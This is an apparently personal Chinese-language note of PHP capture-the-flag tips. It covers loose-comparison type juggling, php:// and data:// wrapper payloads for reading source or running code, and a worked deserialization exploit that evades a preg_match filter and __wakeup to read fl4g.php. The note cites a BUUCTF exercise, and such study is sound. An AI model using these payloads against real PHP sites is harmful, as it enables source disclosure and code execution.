php小tips

宽松比较(==)类型转化规则

(1)数字和字符串比较,将字符串转化为数字,然后进行比较

若字符串的开头不为数字则转化成0,如有数字则转化成该数字

(2)数字和布尔型比较,将数字转为布尔型,然后进行比较

(3)字符串和布尔型的比较,将字符串转化为布尔型,然后进行比较

总结:宽松比较的落脚点只有两个,一个是布尔型,一个是数字型。只有当数字和字符串比较的时候,会将字符串转为数字型

str_replace(find,replace,string,count)

find,必需,要查找的值

replace,必需要覆盖掉的值

sting,必需,被搜索的字符串

count,可舍,替换次数

可以利用大小写绕过

1.php伪协议

用法

php://input.用于执行php代码,需要post请求提交数据。

php://filter,用于读取源代码,get提交参数。

a=php://filter/read=convert.base64/resource=xxx.php

2.data伪协议

用法data://text/p;ain,xxxx(要执行的php代码)

data://text/plain;base64,xxxx(base64编码后的数据)

3.file伪协议

用法:

file://[本地文件系统的绝对路径]

正则匹配:preg_match(‘/[oc]:\d+:/i’,$var)

‘[oc]’ 匹配o或者c

‘\d’ 匹配任意一个十进制数

‘+’匹配前面字符的1-N次数
‘i’ 表示不区分大小写

绕过方法

1
2
3
4
5
6
7
8
9
<?php 
$var='O:+4:"Demo":2:{s:4:"flag";s:3:"111";}';
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
echo 'success';
}
#由于我们把O:4改为了O:+4,那么就匹配不完全,则成功绕过正则匹配
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$chen = new Demo('fl4g.php');
$chen = serialize($chen);
echo $chen."<br/>";
$chen =str_replace('O:4','O:+4',$chen); #用+4替换4是为了绕过preg_match()的正则匹配
echo $chen."<br/>";
$chen=str_replace(':1:',':2:',$chen); #绕过__wakeup()魔术方法
$chen=base64_encode($chen);
echo $chen."<br\>";

?>

QQ图片20220421201238.png

alter(_)可以弹出function的函数

如果成员的属性为private,所以要在类名和成员名之前加上%00这个url编码是空的意识。因为序列化时不会把空输出。

例题:BUUCTF极客大挑战2019php1